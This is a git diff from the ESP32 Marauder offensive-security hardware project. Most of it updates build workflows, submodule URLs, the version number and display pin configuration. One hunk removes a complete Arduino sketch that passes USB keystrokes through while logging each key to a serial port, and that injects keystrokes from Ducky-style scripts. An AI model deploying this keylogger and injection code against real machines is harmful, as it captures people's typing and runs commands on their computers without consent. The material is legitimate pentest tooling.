asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
asset_name: esp32_marauder.marauder_dev_board_pro.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Marauder M5StickC Plus Asset
id: upload-m5stickc-plus-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
asset_name: esp32_marauder.m5stickc_plus.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'

2
.gitignore vendored
View File

@@ -1,3 +1,5 @@
.vscode/arduino.json
.vscode/c_cpp_properties.json
.vscode/settings.json
esp32_marauder/.vscode/settings.json

16
.gitmodules vendored
View File

@@ -1,24 +1,24 @@
[submodule "esp32_marauder/libraries/lv_arduino"]
path = esp32_marauder/libraries/lv_arduino
url = git@github.com:lvgl/lv_arduino.git
url = https://github.com/lvgl/lv_arduino.git
[submodule "esp32_marauder/libraries/LinkedList"]
path = esp32_marauder/libraries/LinkedList
url = git@github.com:ivanseidel/LinkedList.git
url = https://github.com/ivanseidel/LinkedList.git
[submodule "esp32_marauder/libraries/TFT_eSPI"]
path = esp32_marauder/libraries/TFT_eSPI
url = git@github.com:justcallmekoko/TFT_eSPI.git
url = https://github.com/justcallmekoko/TFT_eSPI.git
[submodule "esp32_marauder/libraries/JPEGDecoder"]
path = esp32_marauder/libraries/JPEGDecoder
url = git@github.com:Bodmer/JPEGDecoder.git
url = https://github.com/Bodmer/JPEGDecoder.git
[submodule "esp32_marauder/libraries/NimBLE-Arduino"]
path = esp32_marauder/libraries/NimBLE-Arduino
url = git@github.com:h2zero/NimBLE-Arduino.git
url = https://github.com/h2zero/NimBLE-Arduino.git
[submodule "esp32_marauder/libraries/Adafruit_NeoPixel"]
path = esp32_marauder/libraries/Adafruit_NeoPixel
url = git@github.com:adafruit/Adafruit_NeoPixel.git
url = https://github.com/adafruit/Adafruit_NeoPixel.git
[submodule "esp32_marauder/libraries/ArduinoJson"]
path = esp32_marauder/libraries/ArduinoJson
url = git@github.com:bblanchon/ArduinoJson.git
url = https://github.com/bblanchon/ArduinoJson.git
[submodule "esp32_marauder/libraries/SwitchLib"]
path = esp32_marauder/libraries/SwitchLib
url = git@github.com:justcallmekoko/SwitchLib.git
url = https://github.com/justcallmekoko/SwitchLib.git

File diff suppressed because it is too large Load Diff

View File

@@ -3,7 +3,7 @@
<!---[![Build Status](https://travis-ci.com/justcallmekoko/ESP32Marauder.svg?branch=master)](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
<!---Shields/Badges https://shields.io/--->
# ESP32 Marauder v0.10.1
# ESP32 Marauder v0.11.0-RC1
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
<p align="center">
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>

7
TestFile/TestFile.ino Normal file
View File

@@ -0,0 +1,7 @@
void setup() {
Serial.begin(115200);
}
void loop() {
Serial.println("Just a test");
}

View File

@@ -21,8 +21,9 @@
//#include <User_Setup.h> // Default setup is root library folder
//#include <User_Setup_og_marauder.h>
#include <User_Setup_marauder_mini.h>
#include <User_Setup_og_marauder.h>
//#include <User_Setup_marauder_mini.h>
//#include <User_Setup_marauder_m5stickc.h>
//#include <User_Setups/Setup1_ILI9341.h> // Setup file configured for my ILI9341
//#include <User_Setups/Setup2_ST7735.h> // Setup file configured for my ST7735

View File

@@ -0,0 +1,318 @@
// USER DEFINED SETTINGS
// Set driver type, fonts to be loaded, pins used and SPI control method etc
//
// See the User_Setup_Select.h file if you wish to be able to define multiple
// setups and then easily select which setup file is used by the compiler.
//
// If this file is edited correctly then all the library example sketches should
// run without the need to make any more changes for a particular hardware setup!
// Note that some sketches are designed for a particular TFT pixel width/height
// ##################################################################################
//
// Section 1. Call up the right driver file and any options for it
//
// ##################################################################################
// Display type - only define if RPi display
//#define RPI_DRIVER
#define CGRAM_OFFSET
// Only define one driver, the other ones must be commented out
//#define ILI9341_DRIVER // OG Marauder
//#define ST7735_DRIVER // Marauder Mini // Define additional parameters below for this display
//#define ILI9163_DRIVER // Define additional parameters below for this display
//#define S6D02A1_DRIVER
//#define RPI_ILI9486_DRIVER // 20MHz maximum SPI
//#define HX8357D_DRIVER
//#define ILI9481_DRIVER
//#define ILI9486_DRIVER
//#define ILI9488_DRIVER // WARNING: Do not connect ILI9488 display SDO to MISO if other devices share the SPI bus (TFT SDO does NOT tristate when CS is high)
//#define ST7789_DRIVER // Full configuration option, define additional parameters below for this display
#define ST7789_2_DRIVER // Minimal configuration option, define additional parameters below for this display
//#define R61581_DRIVER
//#define RM68140_DRIVER
//#define ST7796_DRIVER
// Some displays support SPI reads via the MISO pin, other displays have a single
// bi-directional SDA pin and the library will try to read this via the MOSI line.
// To use the SDA line for reading data from the TFT uncomment the following line:
// #define TFT_SDA_READ // This option is for ESP32 ONLY, tested with ST7789 display only
// For ST7789 and ILI9341 ONLY, define the colour order IF the blue and red are swapped on your display
// Try ONE option at a time to find the correct colour order for your display
#define TFT_RGB_ORDER TFT_RGB // Colour order Red-Green-Blue
// #define TFT_RGB_ORDER TFT_BGR // Colour order Blue-Green-Red
// For M5Stack ESP32 module with integrated ILI9341 display ONLY, remove // in line below
// #define M5STACK
// For ST7789, ST7735 and ILI9163 ONLY, define the pixel width and height in portrait orientation
// #define TFT_WIDTH 80
#define TFT_WIDTH 135 // Marauder Mini
// #define TFT_WIDTH 240 // ST7789 240 x 240 and 240 x 320
// #define TFT_HEIGHT 160
#define TFT_HEIGHT 240 // Marauder Mini
// #define TFT_HEIGHT 240 // ST7789 240 x 240
// #define TFT_HEIGHT 320 // ST7789 240 x 320
// For ST7735 ONLY, define the type of display, originally this was based on the
// colour of the tab on the screen protector film but this is not always true, so try
// out the different options below if the screen does not display graphics correctly,
// e.g. colours wrong, mirror images, or tray pixels at the edges.
// Comment out ALL BUT ONE of these options for a ST7735 display driver, save this
// this User_Setup file, then rebuild and upload the sketch to the board again:
// #define ST7735_INITB
// #define ST7735_GREENTAB
// #define ST7735_GREENTAB2
// #define ST7735_GREENTAB3
// #define ST7735_GREENTAB128 // For 128 x 128 display
// #define ST7735_GREENTAB160x80 // For 160 x 80 display (BGR, inverted, 26 offset)
// #define ST7735_REDTAB
// #define ST7735_BLACKTAB
// #define ST7735_REDTAB160x80 // For 160 x 80 display with 24 pixel offset
// If colours are inverted (white shows as black) then uncomment one of the next
// 2 lines try both options, one of the options should correct the inversion.
// #define TFT_INVERSION_ON
// #define TFT_INVERSION_OFF
// If a backlight control signal is available then define the TFT_BL pin in Section 2
// below. The backlight will be turned ON when tft.begin() is called, but the library
// needs to know if the LEDs are ON with the pin HIGH or LOW. If the LEDs are to be
// driven with a PWM signal or turned OFF/ON then this must be handled by the user
// sketch. e.g. with digitalWrite(TFT_BL, LOW);
#define TFT_BACKLIGHT_ON LOW // HIGH or LOW are options
// ##################################################################################
//
// Section 2. Define the pins that are used to interface with the display here
//
// ##################################################################################
// We must use hardware SPI, a minimum of 3 GPIO pins is needed.
// Typical setup for ESP8266 NodeMCU ESP-12 is :
//
// Display SDO/MISO to NodeMCU pin D6 (or leave disconnected if not reading TFT)
// Display LED to NodeMCU pin VIN (or 5V, see below)
// Display SCK to NodeMCU pin D5
// Display SDI/MOSI to NodeMCU pin D7
// Display DC (RS/AO)to NodeMCU pin D3
// Display RESET to NodeMCU pin D4 (or RST, see below)
// Display CS to NodeMCU pin D8 (or GND, see below)
// Display GND to NodeMCU pin GND (0V)
// Display VCC to NodeMCU 5V or 3.3V
//
// The TFT RESET pin can be connected to the NodeMCU RST pin or 3.3V to free up a control pin
//
// The DC (Data Command) pin may be labeled AO or RS (Register Select)
//
// With some displays such as the ILI9341 the TFT CS pin can be connected to GND if no more
// SPI devices (e.g. an SD Card) are connected, in this case comment out the #define TFT_CS
// line below so it is NOT defined. Other displays such at the ST7735 require the TFT CS pin
// to be toggled during setup, so in these cases the TFT_CS line must be defined and connected.
//
// The NodeMCU D0 pin can be used for RST
//
//
// Note: only some versions of the NodeMCU provide the USB 5V on the VIN pin
// If 5V is not available at a pin you can use 3.3V but backlight brightness
// will be lower.
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP8266 SETUP ######
// For NodeMCU - use pin numbers in the form PIN_Dx where Dx is the NodeMCU pin designation
//#define TFT_CS PIN_D8 // Chip select control pin D8
//#define TFT_DC PIN_D3 // Data Command control pin
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
//#define TFT_BL PIN_D1 // LED back-light (only for ST7789 with backlight control pin)
//#define TOUCH_CS PIN_D2 // Chip select pin (T_CS) of touch screen
//#define TFT_WR PIN_D2 // Write strobe for modified Raspberry Pi TFT only
// ###### FOR ESP8266 OVERLAP MODE EDIT THE PIN NUMBERS IN THE FOLLOWING LINES ######
// Overlap mode shares the ESP8266 FLASH SPI bus with the TFT so has a performance impact
// but saves pins for other functions. It is best not to connect MISO as some displays
// do not tristate that line wjen chip select is high!
// On NodeMCU 1.0 SD0=MISO, SD1=MOSI, CLK=SCLK to connect to TFT in overlap mode
// On NodeMCU V3 S0 =MISO, S1 =MOSI, S2 =SCLK
// In ESP8266 overlap mode the following must be defined
//#define TFT_SPI_OVERLAP
// In ESP8266 overlap mode the TFT chip select MUST connect to pin D3
//#define TFT_CS PIN_D3
//#define TFT_DC PIN_D5 // Data Command control pin
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP32 SETUP ######
// For ESP32 Dev board (only tested with ILI9341 display)
// The hardware SPI can be mapped to any pins
// Marauder Mini
#define TFT_CS 5 // Chip select control pin D8
#define TFT_DC 23 // Data Command control pin
#define TFT_RST 18 // Reset pin (could connect to NodeMCU RST, see next line)
#define TOUCH_CS 10
//#define TFT_MISO 19
#define TFT_MOSI 15
#define TFT_SCLK 13
#define TFT_BL 10
/*
// ESP32 Marauder
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 17 // Chip select control pin
#define TFT_DC 16 // Data Command control pin
#define TFT_RST 5 // Reset pin (could connect to RST pin)
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
*/
/////////////////////////////
// ESP32 Centauri
/*
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 27 // Chip select control pin
#define TFT_DC 26 // Data Command control pin
#define TFT_RST 5 // Reset pin (could connect to RST pin)
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
*/
/////////////////////////////
//#define TFT_WR 22 // Write strobe for modified Raspberry Pi TFT only
// For the M5Stack module use these #define lines
//#define TFT_MISO 19
//#define TFT_MOSI 23
//#define TFT_SCLK 18
//#define TFT_CS 14 // Chip select control pin
//#define TFT_DC 27 // Data Command control pin
//#define TFT_RST 33 // Reset pin (could connect to Arduino RESET pin)
//#define TFT_BL 32 // LED back-light (required for M5Stack)
// ###### EDIT THE PINs BELOW TO SUIT YOUR ESP32 PARALLEL TFT SETUP ######
// The library supports 8 bit parallel TFTs with the ESP32, the pin
// selection below is compatible with ESP32 boards in UNO format.
// Wemos D32 boards need to be modified, see diagram in Tools folder.
// Only ILI9481 and ILI9341 based displays have been tested!
// Parallel bus is only supported on ESP32
// Uncomment line below to use ESP32 Parallel interface instead of SPI
//#define ESP32_PARALLEL
// The ESP32 and TFT the pins used for testing are:
//#define TFT_CS 33 // Chip select control pin (library pulls permanently low
//#define TFT_DC 15 // Data Command control pin - must use a pin in the range 0-31
//#define TFT_RST 32 // Reset pin, toggles on startup
//#define TFT_WR 4 // Write strobe control pin - must use a pin in the range 0-31
//#define TFT_RD 2 // Read strobe control pin
//#define TFT_D0 12 // Must use pins in the range 0-31 for the data bus
//#define TFT_D1 13 // so a single register write sets/clears all bits.
//#define TFT_D2 26 // Pins can be randomly assigned, this does not affect
//#define TFT_D3 25 // TFT screen update performance.
//#define TFT_D4 17
//#define TFT_D5 16
//#define TFT_D6 27
//#define TFT_D7 14
// ##################################################################################
//
// Section 3. Define the fonts that are to be used here
//
// ##################################################################################
// Comment out the #defines below with // to stop that font being loaded
// The ESP8366 and ESP32 have plenty of memory so commenting out fonts is not
// normally necessary. If all fonts are loaded the extra FLASH space required is
// about 17Kbytes. To save FLASH space only enable the fonts you need!
#define LOAD_GLCD // Font 1. Original Adafruit 8 pixel font needs ~1820 bytes in FLASH
#define LOAD_FONT2 // Font 2. Small 16 pixel high font, needs ~3534 bytes in FLASH, 96 characters
#define LOAD_FONT4 // Font 4. Medium 26 pixel high font, needs ~5848 bytes in FLASH, 96 characters
#define LOAD_FONT6 // Font 6. Large 48 pixel font, needs ~2666 bytes in FLASH, only characters 1234567890:-.apm
#define LOAD_FONT7 // Font 7. 7 segment 48 pixel font, needs ~2438 bytes in FLASH, only characters 1234567890:-.
#define LOAD_FONT8 // Font 8. Large 75 pixel font needs ~3256 bytes in FLASH, only characters 1234567890:-.
//#define LOAD_FONT8N // Font 8. Alternative to Font 8 above, slightly narrower, so 3 digits fit a 160 pixel TFT
#define LOAD_GFXFF // FreeFonts. Include access to the 48 Adafruit_GFX free fonts FF1 to FF48 and custom fonts
// Comment out the #define below to stop the SPIFFS filing system and smooth font code being loaded
// this will save ~20kbytes of FLASH
#define SMOOTH_FONT
// ##################################################################################
//
// Section 4. Other options
//
// ##################################################################################
// Define the SPI clock frequency, this affects the graphics rendering speed. Too
// fast and the TFT driver will not keep up and display corruption appears.
// With an ILI9341 display 40MHz works OK, 80MHz sometimes fails
// With a ST7735 display more than 27MHz may not work (spurious pixels and lines)
// With an ILI9163 display 27 MHz works OK.
// #define SPI_FREQUENCY 1000000
//#define SPI_FREQUENCY 5000000
// #define SPI_FREQUENCY 10000000
#define SPI_FREQUENCY 20000000
//#define SPI_FREQUENCY 27000000 // Marauder // Actually sets it to 26.67MHz = 80/3
// #define SPI_FREQUENCY 40000000
// #define SPI_FREQUENCY 80000000
// Optional reduced SPI frequency for reading TFT
#define SPI_READ_FREQUENCY 20000000
// The XPT2046 requires a lower SPI clock rate of 2.5MHz so we define that here:
#define SPI_TOUCH_FREQUENCY 2500000
// The ESP32 has 2 free SPI ports i.e. VSPI and HSPI, the VSPI is the default.
// If the VSPI port is in use and pins are not accessible (e.g. TTGO T-Beam)
// then uncomment the following line:
//#define USE_HSPI_PORT
// Comment out the following #define if "SPI Transactions" do not need to be
// supported. When commented out the code size will be smaller and sketches will
// run slightly faster, so leave it commented out unless you need it!
// Transaction support is needed to work with SD library but not needed with TFT_SdFat
// Transaction support is required if other SPI devices are connected.
// Transactions are automatically enabled by the library for an ESP32 (to use HAL mutex)
// so changing it here has no effect
// #define SUPPORT_TRANSACTIONS

View File

@@ -1,459 +0,0 @@
#include <hidboot.h>
#include <usbhub.h>
#include "Keyboard.h"
#define Serial Serial1
// Satisfy the IDE, which needs to see the include statment in the ino too.
#ifdef dobogusinclude
#include <spi4teensy3.h>
#include <SPI.h>
#endif
#include <SPI.h>
#include <SD.h>
#define CAPS_LOCK 0x39
#define NUM_LOCK 0x53
#define SCROLL_LOCK 0x47
#define PRINT_SCREEN 0x46
#define NUM_1 0x59
#define NUM_2 0x5A
#define NUM_3 0x5B
#define NUM_4 0x5C
#define NUM_5 0x5D
#define NUM_6 0x5E
#define NUM_7 0x5F
#define NUM_8 0x60
#define NUM_9 0x61
#define NUM_0 0x62
#define KEY_CAPS_LOCK 0x01
#define KEY_NUM_LOCK 0x02
#define KEY_SCROLL_LOCK 0x04
#define KEY_PRINT_SCREEN 0x05
#define KEY_NUM_1 0x31
#define KEY_NUM_2 0x32
#define KEY_NUM_3 0x33
#define KEY_NUM_4 0x34
#define KEY_NUM_5 0x35
#define KEY_NUM_6 0x36
#define KEY_NUM_7 0x37
#define KEY_NUM_8 0x38
#define KEY_NUM_9 0x39
#define KEY_NUM_0 0x30
String bufferStr = "";
String last = "";
int defaultDelay = 0;
bool shift = false;
bool num_lock = false; // false is working half way
USB Usb;
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);
uint32_t next_time;
class KbdRptParser : public KeyboardReportParser{
public:
uint8_t _parse(uint8_t key);
String _getChar(uint8_t key);
protected:
void OnControlKeysChanged(uint8_t before, uint8_t after);
void OnKeyDown (uint8_t mod, uint8_t key);
void OnKeyUp (uint8_t mod, uint8_t key);
void OnKeyPressed(uint8_t key);
void _press(uint8_t key);
void _release(uint8_t key);
};
void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key){
digitalWrite(LED_BUILTIN, HIGH);
int parsedKey = _parse(key);
if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00) _press(c);
else _press(key);
}else _press(parsedKey);
digitalWrite(LED_BUILTIN, LOW);
}
void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key){
int parsedKey = _parse(key);
if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00){
_release(c);
Serial.print((char)c);
}
else{
_release(key);
Serial.print("0x");
Serial.print(key, HEX);
}
}else{
_release(parsedKey);
Serial.print(_getChar(key));
}
}
void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
MODIFIERKEYS beforeMod;
*((uint8_t*)&beforeMod) = before;
MODIFIERKEYS afterMod;
*((uint8_t*)&afterMod) = after;
//left
if(beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl){
if(afterMod.bmLeftCtrl) Keyboard.press(KEY_LEFT_CTRL);
else Keyboard.release(KEY_LEFT_CTRL);
Serial.print("<ctrl "+(String)afterMod.bmLeftCtrl+">");
}
if(beforeMod.bmLeftShift != afterMod.bmLeftShift){
if(afterMod.bmLeftShift) Keyboard.press(KEY_LEFT_SHIFT);
else Keyboard.release(KEY_LEFT_SHIFT);
shift = afterMod.bmLeftShift;
//Serial.print("<shift "+(String)afterMod.bmLeftShift+">");
}
if(beforeMod.bmLeftAlt != afterMod.bmLeftAlt){
if(afterMod.bmLeftAlt) Keyboard.press(KEY_LEFT_ALT);
else Keyboard.release(KEY_LEFT_ALT);
Serial.print("<alt "+(String)afterMod.bmLeftAlt+">");
}
if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI){
if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
else Keyboard.release(KEY_LEFT_GUI);
Serial.print("<gui "+(String)afterMod.bmLeftGUI+">");
}
//right
if(beforeMod.bmRightCtrl != afterMod.bmRightCtrl){
if(afterMod.bmRightCtrl) Keyboard.press(KEY_RIGHT_CTRL);
else Keyboard.release(KEY_RIGHT_CTRL);
Serial.print("<ctrl "+(String)afterMod.bmRightCtrl+">");
}
if(beforeMod.bmRightShift != afterMod.bmRightShift){
if(afterMod.bmRightShift) Keyboard.press(KEY_RIGHT_SHIFT);
else Keyboard.release(KEY_RIGHT_SHIFT);
shift = afterMod.bmLeftShift;
//Serial.print("<shift "+(String)afterMod.bmRightShift+">");
}
if(beforeMod.bmRightAlt != afterMod.bmRightAlt){
if(afterMod.bmRightAlt) Keyboard.press(KEY_RIGHT_ALT);
else Keyboard.release(KEY_RIGHT_ALT);
Serial.print("<alt "+(String)afterMod.bmRightAlt+">");
}
if(beforeMod.bmRightGUI != afterMod.bmRightGUI){
if(afterMod.bmRightGUI) Keyboard.press(KEY_RIGHT_GUI);
else Keyboard.release(KEY_RIGHT_GUI);
Serial.print("<gui "+(String)afterMod.bmRightGUI+">");
}
}
void KbdRptParser::OnKeyPressed(uint8_t key){
/*Serial.print("ASCII: \"");
Serial.print((char)key);
Serial.print("\" = 0x");
Serial.print(key, HEX);
Serial.print("; ");*/
};
uint8_t KbdRptParser::_parse(uint8_t key){
/*
Serial.print("0x");
Serial.print(key, HEX);
Serial.print(" = ");*/
switch(key){
case CAPS_LOCK: return KEY_CAPS_LOCK; break; // CAPS
case NUM_LOCK: return KEY_NUM_LOCK; break; // NUM LOCK
case SCROLL_LOCK: return KEY_SCROLL_LOCK; break; // SCROLL LOCK
case PRINT_SCREEN: return KEY_PRINT_SCREEN; break; // PRINT SCREEN
case NUM_1 : if (!num_lock) return KEY_NUM_1; break;
case NUM_2 : if (!num_lock) return KEY_NUM_2; break;
case NUM_3 : if (!num_lock) return KEY_NUM_3; break;
case NUM_4 : if (!num_lock) return KEY_NUM_4; break;
case NUM_5 : if (!num_lock) return KEY_NUM_5; break;
case NUM_6 : if (!num_lock) return KEY_NUM_6; break;
case NUM_7 : if (!num_lock) return KEY_NUM_7; break;
case NUM_8 : if (!num_lock) return KEY_NUM_8; break;
case NUM_9 : if (!num_lock) return KEY_NUM_9; break;
case NUM_0 : if (!num_lock) return KEY_NUM_0; break;
case 0x2C: return 0x20; break; // SPACE
case 40: return KEY_RETURN; break;
case 41: return KEY_ESC; break;
case 42: return KEY_BACKSPACE; break;
case 43: return KEY_TAB; break;
case 58: return KEY_F1; break;
case 59: return KEY_F2; break;
case 60: return KEY_F3; break;
case 61: return KEY_F4; break;
case 62: return KEY_F5; break;
case 63: return KEY_F6; break;
case 64: return KEY_F7; break;
case 65: return KEY_F8; break;
case 66: return KEY_F9; break;
case 67: return KEY_F10; break;
case 68: return KEY_F11; break;
case 69: return KEY_F12; break;
case 73: return KEY_INSERT; break;
case 74: return KEY_HOME; break;
case 75: return KEY_PAGE_UP; break;
case 76: return KEY_DELETE; break;
case 77: return KEY_END; break;
case 78: return KEY_PAGE_DOWN; break;
case 79: return KEY_RIGHT_ARROW; break;
case 80: return KEY_LEFT_ARROW; break;
case 81: return KEY_DOWN_ARROW; break;
case 82: return KEY_UP_ARROW; break;
case 88: return KEY_RETURN; break;
//=====[DE-Keyboard]=====//
case 0x64: return 236; break; // <
case 0x32: return 92; break; // #
//======================//
default: {
//Serial.print(" N/A ");
return key;
}
}
}
String KbdRptParser::_getChar(uint8_t key){
switch(key){
case CAPS_LOCK: return "<CAPS_LOCK>"; break; // CAPS
case NUM_LOCK: return "<NUM_LOCK>"; break; // NUM LOCK
case SCROLL_LOCK: return "<SCROLL_LOCK>"; break; // SCROLL LOCK
case PRINT_SCREEN: return "<PRINT_SCREEN>"; break; // PRINT SCREEN
//case NUM_1 : if (num_lock) return "<NUM_1>"; break;
//case NUM_2 : if (num_lock) return "<NUM_2>"; break;
//case NUM_3 : if (num_lock) return "<NUM_3>"; break;
//case NUM_4 : if (num_lock) return "<NUM_4>"; break;
//case NUM_5 : if (num_lock) return "<NUM_5>"; break;
//case NUM_6 : if (num_lock) return "<NUM_6>"; break;
//case NUM_7 : if (num_lock) return "<NUM_7>"; break;
//case NUM_8 : if (num_lock) return "<NUM_8>"; break;
//case NUM_9 : if (num_lock) return "<NUM_9>"; break;
//case NUM_0 : if (num_lock) return "<NUM_0>"; break;
case 0x2C: return " "; break;
case 40: return "<RETURN>\n"; break;
case 41: return "<ESC>\n"; break;
case 42: return "<BACKSPCAE>"; break;
case 43: return "<TAB>\n"; break;
case 58: return "<F1>\n"; break;
case 59: return "<F2>\n"; break;
case 60: return "<F3>\n"; break;
case 61: return "<F4>\n"; break;
case 62: return "<F5>\n"; break;
case 63: return "<F6>\n"; break;
case 64: return "<F7>\n"; break;
case 65: return "<F8>\n"; break;
case 66: return "<F9>\n"; break;
case 67: return "<F10>\n"; break;
case 68: return "<F11>\n"; break;
case 69: return "<F12>\n"; break;
case 73: return "<INSERT>"; break;
case 74: return "<HOME>\n"; break;
case 75: return "<PAGE_UP>\n"; break;
case 76: return "<DELETE>"; break;
case 77: return "<END>\n"; break;
case 78: return "<PAGE_DOWN>\n"; break;
case 79: return "<RIGHT_ARROW>\n"; break;
case 80: return "<LEFT_ARROW>\n"; break;
case 81: return "<DOWN_ARROW>\n"; break;
case 82: return "<UP_ARROW>\n"; break;
case 88: return "<RETURN>\n"; break;
//=====[DE-Keyboard]=====//
case 0x64: {
if(shift) return "<";
else return ">";
break;
}
case 0x32:{
if(shift) return "'";
else return "#";
break;
}
//======================//
default: {
return "";
}
}
}
void KbdRptParser::_press(uint8_t key){
/*Serial.print("0x");
Serial.print(key, HEX);
Serial.println(" DOWN");*/
Keyboard.press(key);
}
void KbdRptParser::_release(uint8_t key){
/*Serial.print("0x");
Serial.print(key, HEX);
Serial.println(" UP");
Serial.println();*/
Keyboard.release(key);
}
KbdRptParser parser;
void Line(String _line)
{
int firstSpace = _line.indexOf(" ");
if(firstSpace == -1) Press(_line);
else if(_line.substring(0,firstSpace) == "STRING"){
for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
}
else if(_line.substring(0,firstSpace) == "DELAY"){
int delaytime = _line.substring(firstSpace + 1).toInt();
delay(delaytime);
}
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
else if(_line.substring(0,firstSpace) == "REM"){} //nothing :/
else if(_line.substring(0,firstSpace) == "REPLAY") {
int replaynum = _line.substring(firstSpace + 1).toInt();
while(replaynum)
{
Line(last);
--replaynum;
}
} else{
String remain = _line;
while(remain.length() > 0){
int latest_space = remain.indexOf(" ");
if (latest_space == -1){
Press(remain);
remain = "";
}
else{
Press(remain.substring(0, latest_space));
remain = remain.substring(latest_space + 1);
}
delay(5);
}
}
Keyboard.releaseAll();
delay(defaultDelay);
}
void Press(String b){
if(b.length() == 1) Keyboard.press(char(b[0]));
else if (b.equals("ENTER")) Keyboard.press(KEY_RETURN);
else if (b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
else if (b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
else if (b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
else if (b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
else if (b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
else if (b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
else if (b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
else if (b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
else if (b.equals("DELETE")) Keyboard.press(KEY_DELETE);
else if (b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
else if (b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
else if (b.equals("HOME")) Keyboard.press(KEY_HOME);
else if (b.equals("ESC")) Keyboard.press(KEY_ESC);
else if (b.equals("BACKSPACE")) Keyboard.press(KEY_BACKSPACE);
else if (b.equals("INSERT")) Keyboard.press(KEY_INSERT);
else if (b.equals("TAB")) Keyboard.press(KEY_TAB);
else if (b.equals("END")) Keyboard.press(KEY_END);
else if (b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
else if (b.equals("F1")) Keyboard.press(KEY_F1);
else if (b.equals("F2")) Keyboard.press(KEY_F2);
else if (b.equals("F3")) Keyboard.press(KEY_F3);
else if (b.equals("F4")) Keyboard.press(KEY_F4);
else if (b.equals("F5")) Keyboard.press(KEY_F5);
else if (b.equals("F6")) Keyboard.press(KEY_F6);
else if (b.equals("F7")) Keyboard.press(KEY_F7);
else if (b.equals("F8")) Keyboard.press(KEY_F8);
else if (b.equals("F9")) Keyboard.press(KEY_F9);
else if (b.equals("F10")) Keyboard.press(KEY_F10);
else if (b.equals("F11")) Keyboard.press(KEY_F11);
else if (b.equals("F12")) Keyboard.press(KEY_F12);
else if (b.equals("SPACE")) Keyboard.press(' ');
//else Serial.println("not found :'"+b+"'("+String(b.length())+")");
}
void setup()
{
Serial.begin(115200);
//Serial1.begin(115200);
Keyboard.begin();
delay(2000);
pinMode(LED_BUILTIN, OUTPUT);
// Turn signal LED off
digitalWrite(LED_BUILTIN, LOW);
//Serial1.println("\n\nLogging keys...\n");
/*
for(int i=0;i<256;i++){
int key = parser._parse(i);
if(key == i){
Keyboard.print((String)i+" ");
Keyboard.write(i);
delay(200);
Keyboard.write(KEY_RETURN);
}
}*/
if(Usb.Init() == -1) Serial.println("OSC did not start.");
delay(200);
next_time = millis() + 5000;
HidKeyboard.SetReportParser(0, &parser);
}
void loop(){
Usb.Task();
if(Serial.available()) {
bufferStr = Serial.readStringUntil("END");
//Serial.println(bufferStr);
}
if(bufferStr.length() > 0){
bufferStr.replace("\r","\n");
bufferStr.replace("\n\n","\n");
while(bufferStr.length() > 0){
int latest_return = bufferStr.indexOf("\n");
if(latest_return == -1){
//Serial.println("run: "+bufferStr);
Line(bufferStr);
bufferStr = "";
} else{
//Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
Line(bufferStr.substring(0, latest_return));
last=bufferStr.substring(0, latest_return);
bufferStr = bufferStr.substring(latest_return + 1);
}
}
bufferStr = "";
Serial.write(0x99);
//Serial.println("done");
}
}

435
esp32_marauder/AXP192.cpp Normal file
View File

@@ -0,0 +1,435 @@
#include "AXP192.h"
